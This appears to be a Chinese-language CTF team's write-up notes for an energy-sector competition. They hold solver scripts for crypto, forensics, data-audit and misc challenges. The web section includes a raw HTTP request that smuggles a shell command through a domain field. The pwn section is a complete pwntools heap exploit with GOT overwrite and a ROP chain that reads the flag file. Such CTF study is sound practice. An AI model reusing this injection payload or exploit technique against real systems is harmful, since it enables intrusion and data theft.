能源行業

Upload

導出http對象

Mirror

測試 url 編碼可以繞過,

POST / HTTP/1.1
Host: 114.215.185.237:29262
Content-Length: 35
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://114.215.185.237:29262
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://114.215.185.237:29262/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: csrftoken=7oeKH3zkKVYT2u6Hu3EobZ3n6eEbz6mA; cut_data="{\"remaining\": 91.07928746378997\054 \"cut_count\": 17}"
Connection: close

domain=www.sohu.com%26%26head        /fla[g]

balls

#include <stdint.h>
#include <assert.h>
#include <stdint-gcc.h>
#include "stdio.h"

const int DELTA = 0x12341234;
void decrypt_xtea(unsigned int rounds, unsigned int *data, const uint32_t *key, const uint32_t *sum_array);

void encrypt(unsigned int rounds, uint32_t *data, const uint32_t *key) {
    int sum = 0;
    unsigned int v1;
    unsigned int v0;

    v0 = data[0];
    v1 = data[1];
    for (int i = 0; i < rounds; ++i) {
        v0 += (key[sum & 3] + sum) ^ (v1 + ((v1 >> 5) ^ (v1 << 4)));
        sum += DELTA;
        if (sum >> 0x1F)
            sum ^= 0x9876543;
        v1 += (key[(sum >> 11) & 3] + sum) ^ (v0 + ((v0 >> 5) ^ (v0 << 4)));
    }
    data[0] = v0;
    data[1] = v1;
    printf("\nsum: %x\n", sum);
}

void decrypt(unsigned int rounds, unsigned int *data, int len, uint32_t *key, uint32_t sum_array[32]) {
    // 每次處理2個整數(8字節)，所以步長應該是2
    for (int i = 0; i < len / sizeof(int); i += 2) {
        decrypt_xtea(rounds, &data[i], key, sum_array);
    }
}

void decrypt_xtea(unsigned int rounds, unsigned int *data, const uint32_t *key, const uint32_t *sum_array) {
    int sum;
    unsigned int v1;
    unsigned int v0;

    v0 = data[0];
    v1 = data[1];
    sum = sum_array[rounds - 1];
    for (int i = 0; i < rounds; ++i) {
        v1 -= (key[(sum >> 11) & 3] + sum) ^ (v0 + ((v0 >> 5) ^ (v0 << 4)));
        if (i < rounds - 1)
            sum = sum_array[rounds - i - 1 - 1];
        else
            sum = 0; // 最后時 sum = 0
        v0 -= (key[sum & 3] + sum) ^ (v1 + ((v1 >> 5) ^ (v1 << 4)));
    }
    *data = v0;
    data[1] = v1;
}


// 計算并存儲每輪的sum值
void calculate_sum_array(unsigned int rounds, int *sum_array) {
    int sum = 0;

    for (int i = 0; i < rounds; ++i) {
        sum += DELTA;
        if (sum >> 0x1F >= 0)
            sum ^= 0x9876543;
        sum_array[i] = sum;
    }
}

int main() {
    setbuf(stdout, NULL);
    uint32_t key[] = {2, 2, 3, 4};
    char encrypt_data[] = {0x00,0xB5,0x73,0x12,0x3E,0xF4,0x07,0x85,0x83,0x48,0x2B,0x7D,0x2A,0x16,0x91,0xA8,0x39,0xFA,0xD5,0xAC,0x2A,0x11,0xB5,0xF1,0xCF,0x9F,0x95,0xDD,0xEA,0x27,0x36,0x82};
    int rounds = 32;

    int sum_array[32] = {0};
    calculate_sum_array(rounds, sum_array);

    // encrypt(rounds, (uint32_t *) plain, key);
    size_t count = sizeof encrypt_data;
    decrypt(rounds, (uint32_t *) encrypt_data, count, key, sum_array);
    for (int i = 0; i < sizeof encrypt_data; ++i) {
        printf("%c", encrypt_data[i]);
    }
    return 0;
}

Web

Web_EasyXSS | 未完成

robots.txt 得到密碼。爆破進去。

Web_phsys

看 filemodel.php 上傳文件的時候可以路徑穿越。可以上傳文件覆蓋/views/view.tpl 然后 ssti show source 直接讀 flag構造發包就好了

Web_EEEEEE | 未完成

在Cookies中砍完得到

您好??，這是一份提示，secret_key字段在ctf_config表里

robots.txt

Disallow: /api/user/list
Disallow: /api/user/register
Disallow: /api/user/login
Disallow: /admin

http://114.215.185.237:25241/api/user/register

注冊成功

{
    "username": "admin1",
    "password": "admin1",
    "email": "admin1@admin.coim"
}

http://114.215.185.237:25241/api/user/register

http://114.215.185.237:25241/api/user/login

可以登錄。

{

"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMSwiaXNfYWRtaW4iOiIwIiwiZXhwIjoxNzQ0ODYwMjc2LjEzNDkzNDJ9.weM_HPxaJZ8gptL56iupA4leATHIU2hINuMnDrn6ibY"

}

會給token

Internal-JDBC-Hack | 未完成

Crypto

eazy_crypto

#!/usr/bin/env python3
from itertools import product

# —— 在這里粘你的公鑰列表和密文 —— #
public_key   =[685013477, 1370026954, 2740053908, 5480107816, 10960215632, 21920431264, 43840862528, 87681725056, 175363450112, 350726900224, 701453800448, 1402907600896, 2805815201792, 5611630403584, 11223260807168, 22446521614336, 44893043228672, 89786086457344, 179572172914688, 359144345829376, 718288691658752, 1436577383317504, 2873154766635008, 5746309533270016, 11492619066540032, 22985238133080064, 45970476266160128, 91940952532320256, 183881905064640512, 367763810129281024, 735527620258562048, 1471055240517124096, 2942110481034248192, 5884220962068496384, 11768441924136992768, 23536883848273985536, 47073767696547971072, 94147535393095942144, 188295070786191884288, 376590141572383768576, 753180283144767537152, 1506360566289535074304, 3012721132579070148608, 6025442265158140297216, 12050884530316280594432, 24101769060632561188864, 48203538121265122377728, 96407076242530244755456, 192814152485060489510912, 385628304970120979021824, 771256609940241958043648, 1542513219880483916087296, 3085026439760967832174592, 6170052879521935664349184, 12340105759043871328698368, 24680211518087742657396736, 49360423036175485314793472, 98720846072350970629586944, 197441692144701941259173888, 394883384289403882518347776, 789766768578807765036695552, 1579533537157615530073391104, 3159067074315231060146782208, 6318134148630462120293564416, 12636268297260924240587128832, 25272536594521848481174257664, 50545073189043696962348515328, 101090146378087393924697030656, 202180292756174787849394061312, 404360585512349575698788122624, 808721171024699151397576245248, 1617442342049398302795152490496, 3234884684098796605590304980992, 6469769368197593211180609961984, 12939538736395186422361219923968, 25879077472790372844722439847936, 51758154945580745689444879695872, 103516309891161491378889759391744, 207032619782322982757779518783488, 414065239564645965515559037566976, 828130479129291931031118075133952, 1656260958258583862062236150267904, 3312521916517167724124472300535808, 6625043833034335448248944601071616, 13250087666068670896497889202143232, 26500175332137341792995778404286464, 53000350664274683585991556808572928, 106000701328549367171983113617145856, 212001402657098734343966227234291712, 424002805314197468687932454468583424, 848005610628394937375864908937166848, 1696011221256789874751729817874333696, 3392022442513579749503459635748667392, 6784044885027159499006919271497334784, 13568089770054318998013838542994669568, 27136179540108637996027677085989339136, 54272359080217275992055354171978678272, 108544718160434551984110708343957356544, 217089436320869103968221416687914713088, 434178872641738207936442833375829426176, 868357745283476415872885666751658852352, 1736715490566952831745771333503317704704, 3473430981133905663491542667006635409408, 6946861962267811326983085334013270818816, 13893723924535622653966170668026541637632, 27787447849071245307932341336053083275264, 55574895698142490615864682672106166550528, 111149791396284981231729365344212333101056, 222299582792569962463458730688424666202112, 444599165585139924926917461376849332404224, 889198331170279849853834922753698664808448, 1778396662340559699707669845507397329616896, 3556793324681119399415339691014794659233792, 7113586649362238798830679382029589318467584, 14227173298724477597661358764059178636935168, 28454346597448955195322717528118357273870336, 56908693194897910390645435056236714547740672, 113817386389795820781290870112473429095481344, 227634772779591641562581740224946858190962688, 455269545559183283125163480449893716381925376, 910539091118366566250326960899787432763850752, 1821078182236733132500653921799574865527701504, 3642156364473466265001307843599149731055403008, 7284312728946932530002615687198299462110806016, 14568625457893865060005231374396598924221612032, 29137250915787730120010462748793197848443224064, 58274501831575460240020925497586395696886448128, 116549003663150920480041850995172791393772896256, 233098007326301840960083701990345582787545792512, 466196014652603681920167403980691165575091585024, 932392029305207363840334807961382331150183170048, 1864784058610414727680669615922764662300366340096, 3729568117220829455361339231845529324600732680192, 7459136234441658910722678463691058649201465360384, 14918272468883317821445356927382117298402930720768, 29836544937766635642890713854764234596805861441536, 59673089875533271285781427709528469193611722883072, 119346179751066542571562855419056938387223445766144, 238692359502133085143125710838113876774446891532288, 477384719004266170286251421676227753548893783064576, 954769438008532340572502843352455507097787566129152, 1909538876017064681145005686704911014195575132258304, 3819077752034129362290011373409822028391150264516608, 7638155504068258724580022746819644056782300529033216, 15276311008136517449160045493639288113564601058066432, 30552622016273034898320090987278576227129202116132864, 61105244032546069796640181974557152454258404232265728, 122210488065092139593280363949114304908516808464531456, 244420976130184279186560727898228609817033616929062912, 488841952260368558373121455796457219634067233858125824, 977683904520737116746242911592914439268134467716251648, 1955367809041474233492485823185828878536268935432503296, 3910735618082948466984971646371657757072537870865006592, 7821471236165896933969943292743315514145075741730013184, 15642942472331793867939886585486631028290151483460026368, 31285884944663587735879773170973262056580302966920052736, 62571769889327175471759546341946524113160605933840105472, 125143539778654350943519092683893048226321211867680210944, 250287079557308701887038185367786096452642423735360421888, 500574159114617403774076370735572192905284847470720843776, 1001148318229234807548152741471144385810569694941441687552, 2002296636458469615096305482942288771621139389882883375104, 4004593272916939230192610965884577543242278779765766750208, 8009186545833878460385221931769155086484557559531533500416, 16018373091667756920770443863538310172969115119063067000832, 32036746183335513841540887727076620345938230238126134001664, 64073492366671027683081775454153240691876460476252268003328, 128146984733342055366163550908306481383752920952504536006656, 256293969466684110732327101816612962767505841905009072013312, 512587938933368221464654203633225925535011683810018144026624, 1025175877866736442929308407266451851070023367620036288053248, 2050351755733472885858616814532903702140046735240072576106496, 4100703511466945771717233629065807404280093470480145152212992, 8201407022933891543434467258131614808560186940960290304425984, 16402814045867783086868934516263229617120373881920580608851968, 32805628091735566173737869032526459234240747763841161217703936, 65611256183471132347475738065052918468481495527682322435407872, 131222512366942264694951476130105836936962991055364644870815744, 262445024733884529389902952260211673873925982110729289741631488, 524890049467769058779805904520423347747851964221458579483262976, 1049780098935538117559611809040846695495703928442917158966525952, 95743002220203365521516392648555370826107558876295087647078391, 191486004440406731043032785297110741652215117752590175294156782, 382972008880813462086065570594221483304430235505180350588313564, 765944017761626924172131141188442966608860471010360701176627128, 1531888035523253848344262282376885933217720942020721402353254256, 1059958875395634827090817339320633846270141586031903574420534999, 116100555140396784583927453208129672374982874054267918555096485, 232201110280793569167854906416259344749965748108535837110192970, 464402220561587138335709812832518689499931496217071674220385940, 928804441123174276671419625665037378999862992434143348440771880]
c = 5130209653431579204059070331103048181426810462112058691052551084
# —————————————————————————— #

n = len(public_key)

def try_with(M):
    """給定 M，尾部長度 T = n - M - 1，暴力枚舉尾部并貪心解前綴。"""
    T = n - M - 1
    if T <= 0 or T > 20:
        return None

    print(f"[+] 嘗試 M={M}，T={T}，共 {2**T} 種尾部組合 …")
    for beta in product([0,1], repeat=T):
        tail_sum = sum(beta[j] * public_key[M+1+j] for j in range(T))
        rem = c - tail_sum
        if rem < 0:
            continue

        # 貪心解前綴
        f = [0]*(M+1)
        for i in range(M, -1, -1):
            if rem >= public_key[i]:
                f[i] = 1
                rem -= public_key[i]

        if rem == 0:
            bits = ''.join(str(b) for b in f) + ''.join(str(b) for b in beta)
            num = int(bits, 2)
            B = (len(bits)+7)//8
            flag_bytes = num.to_bytes(B, 'big')
            try:
                flag = flag_bytes.decode('ascii')
            except UnicodeDecodeError:
                continue
            # 只要能打印，立刻返回
            return flag

    return None

# —— 第一步：試圖自動找出 wrap 點 —— #
wrap_idx = None
for i in range(1, n):
    if public_key[i] < public_key[i-1]:
        wrap_idx = i-1
        print(f"[+] 自動檢測到 pk 在 i={wrap_idx+1} 處開始下降，取 M={wrap_idx}")
        break

# —— 第二步：若檢測成功就只試這一組，否則試所有可能的 M —— #
if wrap_idx is not None:
    flag = try_with(wrap_idx)
    if flag:
        print("=== 解出 flag：", flag)
        exit(0)
    else:
        print("[!] 用自動檢測到的 M 沒能解出，改為全盤嘗試 ...")

# 第三步：枚舉所有可能的尾部長度（M 從 n-2 到 0）—— #
for T in range(1, 21):
    M = n - T - 1
    if M < 0:
        break
    flag = try_with(M)
    if flag:
        print("=== 解出 flag：", flag)
        exit(0)

print("[×] 所有嘗試均失敗，建議：")
print("    1) 確認 public_key 列表和 c 值是否正確；")
print("    2) 打印一下 public_key 前 20 項，手動觀察 where wrap happens；")
print("    3) 檢查是不是有粘貼錯誤或漏掉逗號。")

simplesigin

from Crypto.Util.number import long_to_bytes

n = 91717197306065801430692774296739087369692505805873730729014813677164858033475119219496549179322145782790263228034134781592967028480301579462111507372893508636592832600206391905790511488678949157112322777098684707325311891056750963286494634489093620270797637437274546909400418496263799669541769586017282231886023275686719495040493703402244867906367008837217453500300992995258096509545406775279177918160331853363991834113918051468978309081085686108283547874975768959542753094631595260890420558364636303078263220001513817844063960023424429484568985727987064710176511050208253838039386390968276801658300795687804601169987051671314061987254212363117325786734328360418591971610392966867659045907550755979167652038093091970078722854251659581538266806207906127491377972897441916942048136016416739633568604447564119372465662628724153812001753748410162478969725179843125714619352895967577899670208386148053595763674920185320834513587
c = 42839011426405997183903064099635369826330453992570625970187419298692038242873340653343908015720875659378036817158685551628122217251118628262238465344190964816124580515458311589588181306296351778223861262126155125515973896503862879452134790831154504719292417905542768994118748777728649139178447183393367548054248947947431492235965656603368249032481251726201814793707367255423795360154002568107516580925236531750315901863488819318860921565896077238102673526816090928925925751075205315025490968147316509309315086832359525106203975670062755669310591511541201410020995195041443209092074953245174428606205236898973322350365005188942046012164423380551528973172062821695472964847483144558009935347106019767003947501794910291787761506146324383099394195404192915582482886260648618931172730212751598584218599542997084683196266265460113955019678010205955389076617695217597085275764572543474258054602748997334079905377228138451474442238
gift1 = 513
gift2 = 5077110719426498428662246006638349628986894614097694065336047422264042823893900747327210766546701290926253205743419412459378571920759093322149140413682875156857171051511499793127787270654329155934268596972449238336868326196360992252498463385
e = 0x10001

# Precompute M = 2^820
M = 2^820

# Iterate over possible x values (0 to 1023)
found = False
for x in range(0, 1024):
    # Construct c for current x
    c_val = (gift2 << 20) + (x << 10) + gift1
    # Define the polynomial modulo n
    PR.<a> = PolynomialRing(Zmod(n), implementation='NTL')
    f = a * M + c_val
    # Make the polynomial monic
    f = f.monic()
    # Find small roots (adjust parameters as needed)
    try:
        roots = f.small_roots(X=2^204, beta=0.33, epsilon=0.02)
    except:
        continue
    if roots:
        for root in roots:
            a_val = int(root)
            p_candidate = a_val * M + c_val
            # Check if p_candidate divides n
            if p_candidate !=0 and n % p_candidate == 0:
                print(f"Found x = {x}")
                print(f"p = {p_candidate}")
                # Factor q and r from n/p
                qr = n // p_candidate
                # Find q and r (consecutive primes)
                # Start near sqrt(qr)
                q = isqrt(qr)
                while True:
                    if qr % q == 0:
                        r_candidate = qr // q
                        if next_prime(q) == r_candidate:
                            print(f"q = {q}")
                            print(f"r = {r_candidate}")
                            # Compute phi and decrypt
                            phi = (p_candidate-1)*(q-1)*(r_candidate-1)
                            d = inverse_mod(e, phi)
                            m = pow(c, d, n)
                            flag = long_to_bytes(m)
                            print("Flag:", flag)
                            found = True
                            break
                        # Check previous primes in case sqrt was overestimated
                        prev_q = previous_prime(q)
                        if prev_q and qr % prev_q == 0:
                            r_candidate = qr // prev_q
                            if next_prime(prev_q) == r_candidate:
                                print(f"q = {prev_q}")
                                print(f"r = {r_candidate}")
                                phi = (p_candidate-1)*(prev_q-1)*(r_candidate-1)
                                d = inverse_mod(e, phi)
                                m = pow(c, d, n)
                                flag = long_to_bytes(m)
                                print("Flag:", flag)
                                found = True
                                break
                    if found:
                        break
                    q += 1  # Increment to check next possible q
                if found:
                    break
        if found:
            break
    if found:
        break
        
        
import gmpy2

# 已知參數 
n = 91717197306065801430692774296739087369692505805873730729014813677164858033475119219496549179322145782790263228034134781592967028480301579462111507372893508636592832600206391905790511488678949157112322777098684707325311891056750963286494634489093620270797637437274546909400418496263799669541769586017282231886023275686719495040493703402244867906367008837217453500300992995258096509545406775279177918160331853363991834113918051468978309081085686108283547874975768959542753094631595260890420558364636303078263220001513817844063960023424429484568985727987064710176511050208253838039386390968276801658300795687804601169987051671314061987254212363117325786734328360418591971610392966867659045907550755979167652038093091970078722854251659581538266806207906127491377972897441916942048136016416739633568604447564119372465662628724153812001753748410162478969725179843125714619352895967577899670208386148053595763674920185320834513587 
c = 42839011426405997183903064099635369826330453992570625970187419298692038242873340653343908015720875659378036817158685551628122217251118628262238465344190964816124580515458311589588181306296351778223861262126155125515973896503862879452134790831154504719292417905542768994118748777728649139178447183393367548054248947947431492235965656603368249032481251726201814793707367255423795360154002568107516580925236531750315901863488819318860921565896077238102673526816090928925925751075205315025490968147316509309315086832359525106203975670062755669310591511541201410020995195041443209092074953245174428606205236898973322350365005188942046012164423380551528973172062821695472964847483144558009935347106019767003947501794910291787761506146324383099394195404192915582482886260648618931172730212751598584218599542997084683196266265460113955019678010205955389076617695217597085275764572543474258054602748997334079905377228138451474442238 
e = 0x10001 
 
p = 3477634305546435927144616128460405250629463598739893239816622473608462839499113119946824017810719873339090526901633334291915897266888038660079222244131141455801199895718590378634837198073159021685321370770688205297565282784367872112989609728187391912702894751801426189113088741174943793100295289840652581377
q = 162399030363070924408658553342566621301865431412428199405276984452053313800746433925173396548817699021323394634719083758326973744580449458453418752068907138213058931545474946050685884721297474105183643109956009899293829385519759400010099257639127536920365563282821532319758427399499520953101076342669432069593
r = 162399030363070924408658553342566621301865431412428199405276984452053313800746433925173396548817699021323394634719083758326973744580449458453418752068907138213058931545474946050685884721297474105183643109956009899293829385519759400010099257639127536920365563282821532319758427399499520953101076342669432073067
phi = (p-1)*(q-1)*(r-1)

# init p q e c
from Crypto.Util.number import long_to_bytes

d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

數據安全

數據校驗

md5 https://www.sojson.com/md5/

A列-2065;B列-2964;
flag{md5}

超期賬號未回收

Excel 制作公式

①篩選active列

②判斷最后登錄時間和過期時間判斷

③共計3189個

flag{3189}

數據庫審計

import re
import hashlib

# 定義違規類型
VIOLATION_TYPES = {
    1: "不存在的賬號執行操作",
    2: "無權操作的表",
    3: "超權限操作",
    4: "非root權限操作"
}

# 解析用戶權限配置文件
def parse_permissions(file_path):
    permissions = {}
    with open(file_path, 'r', encoding='utf-8') as f:
        for line in f:
            line = line.strip()
            if not line:
                continue
            
            parts = line.split(',')
            if len(parts) < 5:
                continue
                
            user_id = parts[0].strip()
            username = parts[1].strip()
            tables = [t.strip() for t in parts[2].strip().split(';')]
            operations = [op.strip() for op in parts[3].strip().split(';')]
            is_root = parts[4].strip().lower() == 'root'
            
            permissions[username] = {
                'id': user_id,
                'tables': tables,
                'operations': operations,
                'is_root': is_root
            }
    
    return permissions

# 解析操作日志文件
def parse_logs(file_path):
    logs = []
    with open(file_path, 'r', encoding='utf-8') as f:
        for line in f:
            line = line.strip()
            if not line:
                continue
            
            parts = line.split(' ', 4)
            if len(parts) < 5:
                continue
                
            log_id = parts[0]
            date = parts[1]
            time = parts[2]
            username = parts[3]
            operation_info = parts[4]
            
            # 解析操作類型和表名
            operation_type = operation_info.split(' ')[0]
            table_name = None
            operation = None
            
            if operation_type == 'QUERY':
                table_parts = operation_info.split(' ')
                if len(table_parts) > 1:
                    table_name = table_parts[1]
                
                # 提取操作類型 (SELECT, INSERT, UPDATE, DELETE)
                if 'operation=' in operation_info:
                    operation = operation_info.split('operation=')[1].strip()
            
            logs.append({
                'id': log_id,
                'date': date,
                'time': time,
                'username': username,
                'operation_type': operation_type,
                'table_name': table_name,
                'operation': operation
            })
    
    return logs

# 檢測違規操作
def detect_violations(logs, permissions):
    violations = []
    
    for log in logs:
        log_id = log['id']
        username = log['username']
        operation_type = log['operation_type']
        table_name = log['table_name']
        operation = log['operation']
        
        # 檢查違規類型1: 不存在的賬號執行操作
        if username not in permissions and operation_type not in ['LOGIN_FAILED']:
            violations.append(f"1-{log_id}")
            continue
        
        # 跳過登錄失敗的記錄
        if operation_type == 'LOGIN_FAILED':
            continue
        
        # 檢查違規類型4: 非root權限操作
        if operation_type == 'GRANT' and not permissions[username]['is_root']:
            violations.append(f"4-{log_id}")
            continue
        
        # 檢查違規類型2: 無權操作的表
        if table_name and table_name not in permissions[username]['tables'] and operation_type == 'QUERY':
            violations.append(f"2-{log_id}")
            continue
        
        # 檢查違規類型3: 超權限操作
        if operation and operation_type == 'QUERY' and operation not in permissions[username]['operations']:
            violations.append(f"3-{log_id}")
            continue
    
    return violations

# 生成最終答案
def generate_answer(violations):
    # 按照日志編號排序
    violations.sort(key=lambda x: int(x.split('-')[1]))
    
    # 拼接違規記錄
    result = ','.join(violations)
    
    # 計算MD5
    md5_hash = hashlib.md5(result.encode()).hexdigest()
    
    return result, md5_hash

def main():
    # 文件路徑
    permissions_file = 'd:\\temp\\pytemp\\app1\\md51\\sjk\\user_permissions.txt'
    logs_file = 'd:\\temp\\pytemp\\app1\\md51\\sjk\\database_logs.txt'
    
    # 解析文件
    permissions = parse_permissions(permissions_file)
    logs = parse_logs(logs_file)
    
    # 檢測違規
    violations = detect_violations(logs, permissions)
    
    # 生成答案
    result, md5_hash = generate_answer(violations)
    
    print("檢測到的違規操作:")
    for v in violations:
        print(v)
    
    print("\n拼接結果:", result)
    print("MD5哈希值:", md5_hash)

if __name__ == "__main__":
    main()

Misc

alarm_clock

diskgenius打開vmdk搜索已刪除文件進行恢復。

得到 wav和zip文件。

wav用qsstv播放得到解壓密碼和一張鐘表的圖。

z@Wa1uDu0

import matplotlib.pyplot as plt
import numpy as np

# 解析輸入字符串
str_input = '''3,3,3,3,9,9,6,6,6,0,0,0,0,1,1,5,5 6,6,6,6,4,3,2 1,2,3,4,5,6,6,6,6,6,6,3,9,9,9,10,11,0,1,2,3,3'''
str_input ='''3,3,3,3,9,9,6,6,6,0,0,0,0,1,1,5,5
6,6,6,6,4,3,2
1,2,3,4,5,6,6,6,6,6,6,3,9,9,9,10,11,0,1,2,3,3
3,3,6,6,6,6,7,9,11,5,3,1,0,0,9,9,0,0
8,7,6,8,4,6,5,4
6,3,3,9,9,6,3,3,6,6,9,9
3,3,6,6,6,6,9,9,0,0,0,0,6,6,3,3
3,3,6,6,6,6
3,3,6,6,6,6,0,0,9,9,0,0
3,3,6,6,6,6,9,9,0,0,0,0
7,1,6,6,6,6,9,3,3
3,3,9,9,6,6,6,6,3,3,0,0,9,9
10,9,8,7,6,5,4,3,2
3,3
3,3,6,6,9,9,3,3,6,6,9,9
3,3,6,6,6,6,9,9,0,0,0,0
7,1,6,6,6,6,9,3,3
6,6,6,6,6,0,0,1,2,3,4,5,6,7,8,9,10,11,0
3,3
7,7,7,3,3,3,9,0,0,0,6,6,6,6,6
3,3,6,6,6,6,9,9,0,0,0,0,6,6,3,3
7,7,7,3,3,3,9,0,0,0,6,6,6,6,6
3,3,6,6,6,6,9,9,0,0,0,0
3,3
3,3,6,6,6,6,0,0,9,9,0,0
6,3,3,9,9,6,3,3,6,6,9,9
6,6,6,6,6,0,0,1,2,3,4,5,6,7,8,9,10,11,0
3,3,3,3,9,9,6,6,6,0,0,0,0,1,1,5,5
3,3
6,6,6,6,6,0,0,1,2,3,4,5,6,7,8,9,10,11,0
3,3,3,3,11,10,9,8,7,6,5,4,3,2,1
3,3,6,6,6,6
3,3,6,6,9,9,6,6,3,3
6,6,6,6,6,0,0,1,2,3,4,5,6,7,8,9,10,11,0
3,3,6,6,9,9,3,3,6,6,9,9
3,3,6,6,6,6
3,3,6,6,6,6,0,0,9,9,0,0
6,6,6,6,6,0,0,1,2,3,4,5,6,7,8,9,10,11,0
3,3,6,6,9,9,6,6,3,3
7,1,6,6,6,6,9,3,3
3,3,3,3,11,10,9,8,7,6,5,4,3,2,1
4,5,6,4,8,6,7,8
'''
segment_lines = str_input.splitlines()

# 方向映射（按鐘表方向）
# 12點=0, 1點=1, 2點=2, 以此類推
directions = {
    '0': (0, 1),    # 12點方向
    '1': (0.5, 0.866),  # 1點方向
    '2': (0.866, 0.5),  # 2點方向
    '3': (1, 0),    # 3點方向
    '4': (0.866, -0.5), # 4點方向
    '5': (0.5, -0.866), # 5點方向
    '6': (0, -1),   # 6點方向
    '7': (-0.5, -0.866), # 7點方向
    '8': (-0.866, -0.5), # 8點方向
    '9': (-1, 0),   # 9點方向
    '10': (-0.866, 0.5), # 10點方向
    '11': (-0.5, 0.866)  # 11點方向
}

# 初始化繪圖
plt.figure(figsize=(10, 10))
x, y = 0, 0
plt.plot(x, y, 'ro')  # 起點

# 繪制路徑
for line in segment_lines:
    segments = line.split()
    for segment in segments:
        steps = segment.split(',')
        for step in steps:
            if step in directions:
                dx, dy = directions[step]
                plt.arrow(x, y, dx, dy, head_width=0.1, head_length=0.1, fc='blue', ec='blue')
                x += dx
                y += dy
                plt.plot(x, y, 'bo', markersize=5)

    # 設置圖形屬性
    plt.grid(True)
    plt.axis('equal')
    plt.title('鐘表方向繪圖')
    # plt.savefig('a.png')
    plt.show()
# flag{5879016c-301b-4840-95bf-be72b379b21e}

Bluetooth

tshark -r a.pcapng -e btl2cap.payload -T fields | sed -e "/^\s*$/d" > data.txt

import re

text = open("data.txt").read()

# 使用正則表達式提取特定位置的數字
digits = re.findall(r'^...............................(\d)..$', text, flags=re.M)

# 將提取的數字連接成字符串并按0分割
digit_str = ''.join(digits)
segments = [seg for seg in re.split(r'0+', digit_str) if seg]

# 從每個分段中提取第一個字符并轉換數字映射
extracted_chars = ''.join(segment[0] for segment in segments)
converted_text = extracted_chars.translate(str.maketrans("1248", "0123"))

# 將4位一組的二進制數轉換為ASCII字符
chunks = re.findall(r'(....)', converted_text)
result = ''.join(chr(int(chunk, 4)) for chunk in chunks)

print(result)
# flag{5a482ade-10ed-4905-a886-369846d27a08}

pwn

CFC

from pwn import *

dir  =    lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

libc=ELF('./libc-2.31.so')
context.arch='amd64'
# p=process('./pwn1')
p = remote('ip',30612)



def command(option):
    p.recvuntil(b'>>')
    p.sendline(bytes(str(option),'utf-8'))

def create():
    command(1)
    p.recvuntil(b'Size')
    p.sendline(bytes(str(0x20),'utf-8'))
def free(id):
    command(3)
    p.recvuntil(b'Idx')
    p.sendline(bytes(str(id),'utf-8'))
def edit(id,Content):
    command(2)
    p.recvuntil(b'Idx')
    p.sendline(bytes(str(id),'utf-8'))
    p.recvuntil(b'Content')
    p.send(Content)

create() # 0
create() # 1

free(1)
free(0)
edit(0,p64(0x4035A0))

create() # 2
create() # 1 # heap_ptr
free_got = 0x4034e0
read_got = 0x403510
my_puts = 0x4012D1
edit(1,p64(free_got))
edit(0,p64(my_puts))
heap_ptr = 0x4035A0

edit(1,p64(read_got))
free(0)

p.recvuntil(b':')
read_addr = u64(p.recv(6).ljust(8,b'\x00'))
libcbase = read_addr - libc.symbols['read']
system_addr = libcbase + libc.symbols['system']
gets_addr = libcbase + libc.symbols['gets']
env_addr = libcbase + 0x1ef600
dir("libcbase")
dir("env_addr")

edit(1,p64(env_addr))
free(0)

p.recvuntil(b':')
stack_addr = u64(p.recv(6).ljust(8,b'\x00'))
dir("stack_addr")

edit(1,p64(free_got)+p64(0x00000000004035a0)+b'flag\x00')
edit(0,p64(gets_addr))

target_addr = stack_addr - 0x128
edit(1,p64(target_addr))

# gdb.attach(p,'b* 0x4016E4')
free(0)

mprotect=libcbase+libc.sym['mprotect']
open_addr=libcbase+libc.sym['open']
read_addr=libcbase+libc.sym['read']
write_addr=libcbase+libc.sym['write']
rdi_ret=libcbase+0x0000000000023b6a
rsi_ret=libcbase+0x000000000002601f
rdx_ret=libcbase+0x0000000000142c92
flag_add = 0x4035b0
orw_rop = p64(rdi_ret+1)*4
orw_rop +=  p64(rdi_ret) + p64(flag_add) + p64(rsi_ret) + p64(0)+ p64(open_addr)
orw_rop += p64(rdi_ret) + p64(3) + p64(rsi_ret) + p64(flag_add) + p64(rdx_ret) + p64(0x100) + p64(read_addr)
orw_rop += p64(rdi_ret) + p64(1)+ p64(write_addr)

p.sendline(orw_rop)


p.interactive()

Pwn_vm | 未完成